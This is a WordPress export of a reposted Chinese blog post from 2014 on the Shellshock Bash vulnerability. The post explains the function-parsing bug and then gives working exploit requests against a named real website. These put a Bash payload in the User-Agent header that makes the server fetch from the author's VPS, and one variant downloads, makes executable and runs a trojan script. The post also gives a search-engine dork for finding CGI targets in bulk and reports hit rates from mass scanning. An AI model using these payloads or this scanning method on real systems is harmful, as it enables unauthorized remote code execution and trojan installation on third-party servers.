{"id":105,"date":"2014-10-04T06:10:30","date_gmt":"2014-10-04T06:10:30","guid":{"rendered":""},"modified":"2014-10-04T06:10:30","modified_gmt":"2014-10-04T06:10:30","slug":"","status":"publish","type":"post","link":"http:\/\/weizn.net\/?p=105","title":{"rendered":"[\u8f6c]Bash\u8fdc\u7a0b\u89e3\u6790\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u6d4b\u8bd5\u65b9\u6cd5"},"content":{"rendered":"

\u4ece\u6628\u5929\u5f00\u59cb\uff0c\u8fd9\u4e2a\u4ece\u6fb3\u5927\u5229\u4e9a\u8fdc\u6e21\u91cd\u6d0b\u800c\u6765\u7684BASH\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5c31\u6cb8\u817e\u4e86\u6574\u4e2aFreeBuf\uff0c\u5927\u5bb6\u90fd\u5728\u8c08\u8bba\uff0c\u201c\u4e92\u8054\u7f51\u7684\u5fc3\u810f\u53c8\u51fa\u8840\u4e86\u201d\uff0c\u53ef\u662f\uff0c\u4eb2\uff0c\u5230\u5e95\u600e\u4e48\u5bf9\u7f51\u7ad9\u8fdb\u884c\u6d4b\u8bd5\uff1f\u4e0b\u9762\u8fd9\u6bb5\u811a\u672c<\/p>\n

$ env x=\u2018() { :;}; echo vulnerable’  bash<\/span><\/strong> -c “echo this is a test”
\n\u771f\u7684\u5982\u5404\u8def\u5927\u795e\u4eec\u8bf4\u7684\u8fd9\u6837\u5417\uff1f<\/p>\n

\u5b83\u4e0e\u201c\u5fc3\u810f\u51fa\u8840\u201d\u6f0f\u6d1e\u4e0d\u540c\uff0c\u201c\u5fc3\u810f\u51fa\u8840\u201d\u53ea\u80fd\u501f\u52a9\u7a83\u53d6\u7528\u6237\u7535\u8111\u4fe1\u606f\uff0c\u800cbash \u6f0f\u6d1e\u5141\u8bb8\u9ed1\u5ba2\u8fdc\u7a0b\u63a7\u5236\u7535\u8111\uff0c\u62ff\u5230\u7cfb\u7edf\u6700\u9ad8\u6743\u9650\uff01\u5176\u65b9\u6cd5\u5229\u7528\u5c31\u66f4\u7b80\u5355\u4e86\u2014\u2014\u590d\u5236\/\u7c98\u8d34\u4e00\u884c\u547d\u4ee4\u4ee3\u7801\u5373\u53ef\uff01<\/p>\n

Bash\u6f0f\u6d1e\u4e3a\u4ec0\u4e48\u80fd\u591f\u6267\u884c<\/p>\n

Bash\u6f0f\u6d1e\u7684\u539f\u7406\uff1a<\/p>\n

BASH\u9664\u4e86\u53ef\u4ee5\u5c06shell\u53d8\u91cf\u5bfc\u51fa\u4e3a\u73af\u5883\u53d8\u91cf\uff0c\u8fd8\u53ef\u4ee5\u5c06shell\u51fd\u6570\u5bfc\u51fa\u4e3a\u73af\u5883\u53d8\u91cf\uff01\u5f53\u524d\u7248\u672c\u7684bash\u901a\u8fc7\u4ee5\u51fd\u6570\u540d\u4f5c\u4e3a\u73af\u5883\u53d8\u91cf\u540d\uff0c\u4ee5\u201c\uff08\uff09{\u201d\u5f00\u5934\u7684\u5b57\u4e32\u4f5c\u4e3a\u73af\u5883\u53d8\u91cf\u7684\u503c\u6765\u5c06\u51fd\u6570\u5b9a\u4e49\u5bfc\u51fa\u4e3a\u73af\u5883\u53d8\u91cf\u3002<\/p>\n

\u6b64\u6b21\u7206\u51fa\u7684\u6f0f\u6d1e\u5728\u4e8eBASH\u5904\u7406\u8fd9\u6837\u7684\u201c\u51fd\u6570\u73af\u5883\u53d8\u91cf\u201d\u7684\u65f6\u5019\uff0c\u5e76\u6ca1\u6709\u4ee5\u51fd\u6570\u7ed3\u5c3e\u201c}\u201d\u4e3a\u7ed3\u675f\uff0c\u800c\u662f\u4e00\u76f4\u6267\u884c\u5176\u540e\u7684shell\u547d\u4ee4\u3002<\/p>\n

\u7b80\u5355\u5730\u8bf4\u5c31\u662f\uff0cBash\u811a\u672c\u5728\u89e3\u6790\u67d0\u4e9b\u7279\u6b8a\u5b57\u7b26\u4e32\u65f6\u51fa\u73b0\u903b\u8f91\u9519\u8bef\u5bfc\u81f4\u53ef\u4ee5\u6267\u884c\u540e\u9762\u7684\u547d\u4ee4\u3002<\/p>\n

Bash\u6f0f\u6d1e\u4e0e\u8fdc\u7a0b\u6267\u884c\u6709\u5565\u8054\u7cfb<\/p>\n

\u770b\u5230\u4e0a\u9762\u7684\u89e3\u91ca\uff0c\u5f88\u591a\u7ae5\u978b\u90fd\u7406\u89e3\u6210\u4e86\u672c\u5730\u7684\u6f0f\u6d1e\uff0c\u7136\u540e\u5f88\u591a\u4eba\u53c8\u89c9\u5f97\uff0c\u672c\u5730\u6709\u5565\u53ef\u4ee5\u5229\u7528\u7684\uff0c\u4e8e\u662f\u5c31\u5ffd\u7565\u4e86\u8fd9\u4e2a\u795e\u7ea7\u6f0f\u6d1e\u7684\u5b58\u5728\u3002\u6211\u60f3\u8bf4\u7684\u662f\uff0c\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u5229\u7528\u70ed\u5ea6\u53ef\u4ee5\u5ab2\u7f8e\u5f53\u5e74\u7684MS08-067\uff0c\u5a01\u529b\u867d\u7136\u5f31\u4e86\u70b9\uff0c\u4f46\u8fdc\u7a0b\u63a7\u5236\u7535\u8111\u8fd8\u662f\u53ef\u4ee5\u7684\u3002<\/p>\n

\u9996\u5148\u89e3\u91ca\u4e00\u4e0bcgi\u811a\u672c\u3002\u5f88\u591a\u7f51\u7ad9\u7c7b\u4f3c\u4e0b\u9762\u7684\u94fe\u63a5\uff1a<\/p>\n

GET http:\/\/help.tenpay.com\/cgi-bin\/helpcenter\/help_center.cgi?id=20HTTP\/1.1
\n\u540e\u53f0\u4e0d\u4ec5\u4ec5\u7528python\u3001Perl\u6765\u89e3\u91ca\u6267\u884c\u5e76\u53cd\u9988\u7ed9\u5ba2\u6237\u7aefResponse\uff0c\u5f53\u7136\u8fd8\u53ef\u4ee5\u6362\u505abash\u811a\u672c\u6765\u89e3\u91ca\u6267\u884c\u63d0\u4ea4\u4e0a\u6765\u7684GET\/POST\u8bf7\u6c42\u3002\u6240\u4ee5\uff0c\u7406\u8bba\u4e0a\uff0c\u4f60\u5728HTTP\u8bf7\u6c42\u4e2d\u63d2\u5165\u4e00\u4e2aBash\u547d\u4ee4\uff0c\u6bd4\u5982<\/p>\n

() { :;}; wget http:\/\/www.myvps.org\/testvul.sh
\n\u5982\u679c\u670d\u52a1\u5668\u7684Bash\u89e3\u91ca\u5668\u5177\u6709\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u90a3\u4e48\u5728\u89e3\u91ca\u4e0a\u9762\u8fd9\u8fd9\u53e5\u8bdd\u7684\u65f6\u5019\u5c31\u4f1a\u6267\u884cwget\u8bf7\u6c42\uff0c\u5c06\u4e00\u4e2a\u6076\u610f\u7684testvul.sh\u6587\u4ef6\u4e0b\u8f7d\u5230\u8fd9\u4e2a\u670d\u52a1\u5668\uff0c\u90a3\u4e3a\u4f55\u8bf4\u8981\u653e\u5728HTTP\u5934\u90e8\u5462\uff1f\u6bd4\u5982\uff1a<\/p>\n

GET \/cgi-bin\/helpcenter\/help_center.cgi?id=20 HTTP\/1.1
\nHost: help.tenpay.com
\nUser-Agent: Mozilla\/5.0 (X11; Ubuntu; rv:32.0) Gecko\/20100101 Firefox\/32.0
\nAccept: *\/*
\nReferer: http:\/\/www.baidu.com
\nConnection: keep-alive
\n\u8fd9\u662f\u56e0\u4e3a\u8fd9\u4e2a\u6f0f\u6d1e\u662fbash\u89e3\u91ca\u5668\u5728\u89e3\u91ca\u67d0\u4e9b\u7279\u6b8a\u7684\u53d8\u91cf\u65f6\u624d\u53ef\u4ee5\u89e6\u53d1\u7684\uff1a<\/p>\n

\u5728\u4e8eBASH\u5904\u7406\u4ee5\u201c\uff08\uff09{\u201d\u5f00\u5934\u7684\u201c\u51fd\u6570\u73af\u5883\u53d8\u91cf\u201d\u7684\u65f6\u5019\uff0c\u5e76\u6ca1\u6709\u4ee5\u51fd\u6570\u7ed3\u5c3e\u201c}\u201d\u4e3a\u7ed3\u675f\uff0c\u800c\u662f\u4e00\u76f4\u6267\u884c\u5176\u540e\u7684shell\u547d\u4ee4<\/p>\n

\u901a\u8fc7\u81ea\u5b9a\u4e49\u8fd9\u4e9b\u53c2\u6570\u7684\u503c\u4e3a\u201c\u51fd\u6570\u73af\u5883\u53d8\u91cf\u201d\u7684\u5f62\u5f0f\uff0c\u5c31\u53ef\u4ee5\u89e6\u53d1\u540e\u9762\u7684\u547d\u4ee4\uff0c\u6076\u610f\u7684\u5ba2\u6237\u4ec5\u9700\u8981\u53d1\u9001\u7279\u6b8a\u6784\u9020\u7684HTTP\u8bf7\u6c42\u5c31\u53ef\u4ee5\u4f7f\u670d\u52a1\u5668\u6267\u884c\u7279\u5b9a\u7684\u547d\u4ee4\uff08\u547d\u4ee4\u7684\u6743\u9650\u548c\u89e3\u91caHTTP\u8bf7\u6c42\u7684Bash\u811a\u672c\u73af\u5883\u76f8\u540c\uff09\u3002<\/p>\n

\u5b9e\u9645\u6d4b\u8bd5\u4e2d\uff0c\u6211\u7684\u6784\u9020\u7684\u6d4b\u8bd5\u8bf7\u6c42\uff1a<\/p>\n

GET \/cgi-bin\/helpcenter\/help_center.cgi?id=20 HTTP\/1.1
\nHost: help.tenpay.com
\nUser-Agent: () { :;}; \/usr\/bin\/wget http:\/\/myvps.org\/remember_client_ip.php
\nAccept: *\/*
\nReferer: http:\/\/www.baidu.com
\nConnection: keep-alive
\n\u8fc7\u7a0b\u662f\u8fd9\u6837\u7684\uff1a<\/p>\n

\u6211\u53d1\u9001GET\u8bf7\u6c42\u2013>\u76ee\u6807\u670d\u52a1\u5668cgi\u8def\u5f84<\/p>\n

\u76ee\u6807\u670d\u52a1\u5668\u89e3\u6790\u8fd9\u4e2aget\u8bf7\u6c42\uff0c\u78b0\u5230UserAgent\u540e\u9762\u7684\u53c2\u6570\uff0cBash\u89e3\u91ca\u5668\u5c31\u6267\u884c\u4e86\u540e\u9762\u7684\u547d\u4ee4<\/p>\n

\u76ee\u6807\u670d\u52a1\u5668wget\u2013>\u6211\u7684myvps.org<\/p>\n

\u6211\u7684vps\u8bb0\u5f55\u4e0b\u8fd9\u4e2a\u8bbf\u95ee\u7684IP\u5730\u5740<\/p>\n

\u7136\u540e\u67e5\u770b\u6211\u7684myvps.org\u670d\u52a1\u5668\u7684\u8bbf\u95ee\u8bb0\u5f55\uff0c\u5c31\u53ef\u4ee5\u786e\u5b9a\u76ee\u6807\u6709\u6ca1\u6709\u53bb\u8bbf\u95ee\uff0c\u5982\u679c\u8bbf\u95ee\u4e86\uff0c\u90a3\u4e48\uff0c\u5f88\u597d\uff0c\u5b83\u662f\u6709\u6f0f\u6d1e\u7684\u3002\u4e0b\u9762\u662f\u6211\u7684VPS\u63a5\u6536\u5230\u7684wget\u8bf7\u6c42\u8bbf\u95ee\u7684\u65e5\u5fd7\uff1a
\n\"1.png\"<\/a>
\n\u5927\u795e\u662f\u8fd9\u6837\u6d4b\u8bd5\u6f0f\u6d1e\u7684<\/p>\n

\u5f53\u7136\uff0c\u4f60\u4e5f\u53ef\u4ee5\u8fd9\u6837\u6784\u9020\uff1a<\/p>\n

GET \/cgi-bin\/helpcenter\/help_center.cgi?id=20 HTTP\/1.1
\nHost: help.tenpay.com
\nUser-Agent: () { :;}; \/usr\/bin\/wget -O \/tmp\/muma.sh   ;chmod 777 \/tmp\/muma.sh; .\/tmp\/muma.sh
\nAccept: *\/*
\nReferer: http:\/\/www.baidu.com
\nConnection: keep-alive
\n\u5b9e\u9645\u4e0a\u6267\u884c\u4e86\u4e0b\u9762\u4e09\u53e5\uff1a<\/p>\n

\/usr\/bin\/wget -O \/tmp\/muma.sh  http:\/\/myvps.org\/muma.sh ;
\nchmod 777 \/tmp\/muma.sh;
\n.\/tmp\/muma.sh
\n\u4f60\u4f1a\u53d1\u73b0\uff0c\u4f60\u7684\u6728\u9a6c\u5c31\u8fd9\u4e48\u6267\u884c\u4e86\uff0c\u8fd9\u5c31\u662fBash\u6f0f\u6d1e\u5229\u7528\u7684\u7cbe\u9ad3\u3002<\/p>\n

\u5f53\u7136\uff0c\u4f60\u53ef\u4ee5\u5229\u7528\u6279\u91cfGoogle\u641c\u7d22\uff1a<\/p>\n

filetype:cgi inurl:cgi-bin site:jp<\/p>\n

\u7136\u540e\u6279\u91cf\u63d0\u4ea4\u7c7b\u4f3c\u7684GET\u8bf7\u6c42\uff0c\u4f60\u5c31\u80fd\u505a\u5230\u6279\u91cf\u6d4b\u8bd5\u4e86\u3002\u6d4b\u8bd5\u8868\u660e\uff0c500\u4e2aurl\u91cc\u67096-8\u4e2a\u6709bash\u6f0f\u6d1e<\/p>\n","protected":false},"excerpt":{"rendered":"

\u4ece\u6628\u5929\u5f00\u59cb\uff0c\u8fd9\u4e2a\u4ece\u6fb3\u5927\u5229\u4e9a\u8fdc\u6e21\u91cd\u6d0b\u800c\u6765\u7684BASH\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5c31\u6cb8\u817e\u4e86\u6574\u4e2aFreeBuf\uff0c\u5927\u5bb6\u90fd\u5728\u8c08\u8bba\uff0c\u201c\u4e92\u8054\u7f51\u7684\u5fc3\u810f\u53c8\u51fa\u8840\u4e86\u201d\uff0c\u53ef\u662f\uff0c\u4eb2\uff0c\u5230\u5e95\u600e\u4e48\u5bf9\u7f51\u7ad9\u8fdb\u884c\u6d4b\u8bd5\uff1f\u4e0b\u9762\u8fd9\u6bb5\u811a\u672c<\/p>\n

$ env x=\u2018() { :;}; echo vulnerable’  bash<\/span><\/strong> -c “echo this is a test”
\n\u771f\u7684\u5982\u5404\u8def\u5927\u795e\u4eec\u8bf4\u7684\u8fd9\u6837\u5417\uff1f<\/p>\n

\u5b83\u4e0e\u201c\u5fc3\u810f\u51fa\u8840\u201d\u6f0f\u6d1e\u4e0d\u540c…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[321],"tags":[],"class_list":["post-105","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"\n[\u8f6c]Bash\u8fdc\u7a0b\u89e3\u6790\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u6d4b\u8bd5\u65b9\u6cd5 - Wayne's Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=105\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"[\u8f6c]Bash\u8fdc\u7a0b\u89e3\u6790\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u6d4b\u8bd5\u65b9\u6cd5 - Wayne's Blog\" \/>\n<meta property=\"og:description\" content=\"\u4ece\u6628\u5929\u5f00\u59cb\uff0c\u8fd9\u4e2a\u4ece\u6fb3\u5927\u5229\u4e9a\u8fdc\u6e21\u91cd\u6d0b\u800c\u6765\u7684BASH\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5c31\u6cb8\u817e\u4e86\u6574\u4e2aFreeBuf\uff0c\u5927\u5bb6\u90fd\u5728\u8c08\u8bba\uff0c\u201c\u4e92\u8054\u7f51\u7684\u5fc3\u810f\u53c8\u51fa\u8840\u4e86\u201d\uff0c\u53ef\u662f\uff0c\u4eb2\uff0c\u5230\u5e95\u600e\u4e48\u5bf9\u7f51\u7ad9\u8fdb\u884c\u6d4b\u8bd5\uff1f\u4e0b\u9762\u8fd9\u6bb5\u811a\u672c $ env x=\u2018() { :;}; echo vulnerable'  bash -c "echo this is a test" \u771f\u7684\u5982\u5404\u8def\u5927\u795e\u4eec\u8bf4\u7684\u8fd9\u6837\u5417\uff1f \u5b83\u4e0e\u201c\u5fc3\u810f\u51fa\u8840\u201d\u6f0f\u6d1e\u4e0d\u540c...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=105\" \/>\n<meta property=\"og:site_name\" content=\"Wayne's Blog\" \/>\n<meta property=\"article:published_time\" content=\"2014-10-04T06:10:30+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.weizn.net\/content\/uploadfile\/201410\/4a471412399481.png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne's Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/weizn.net\/?p=105#primaryimage\",\"inLanguage\":\"zh-Hans\",\"url\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201410\/4a471412399481.png\",\"contentUrl\":\"http:\/\/www.weizn.net\/content\/uploadfile\/201410\/4a471412399481.png\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=105#webpage\",\"url\":\"http:\/\/weizn.net\/?p=105\",\"name\":\"[\\u8f6c]Bash\\u8fdc\\u7a0b\\u89e3\\u6790\\u547d\\u4ee4\\u6267\\u884c\\u6f0f\\u6d1e\\u6d4b\\u8bd5\\u65b9\\u6cd5 - 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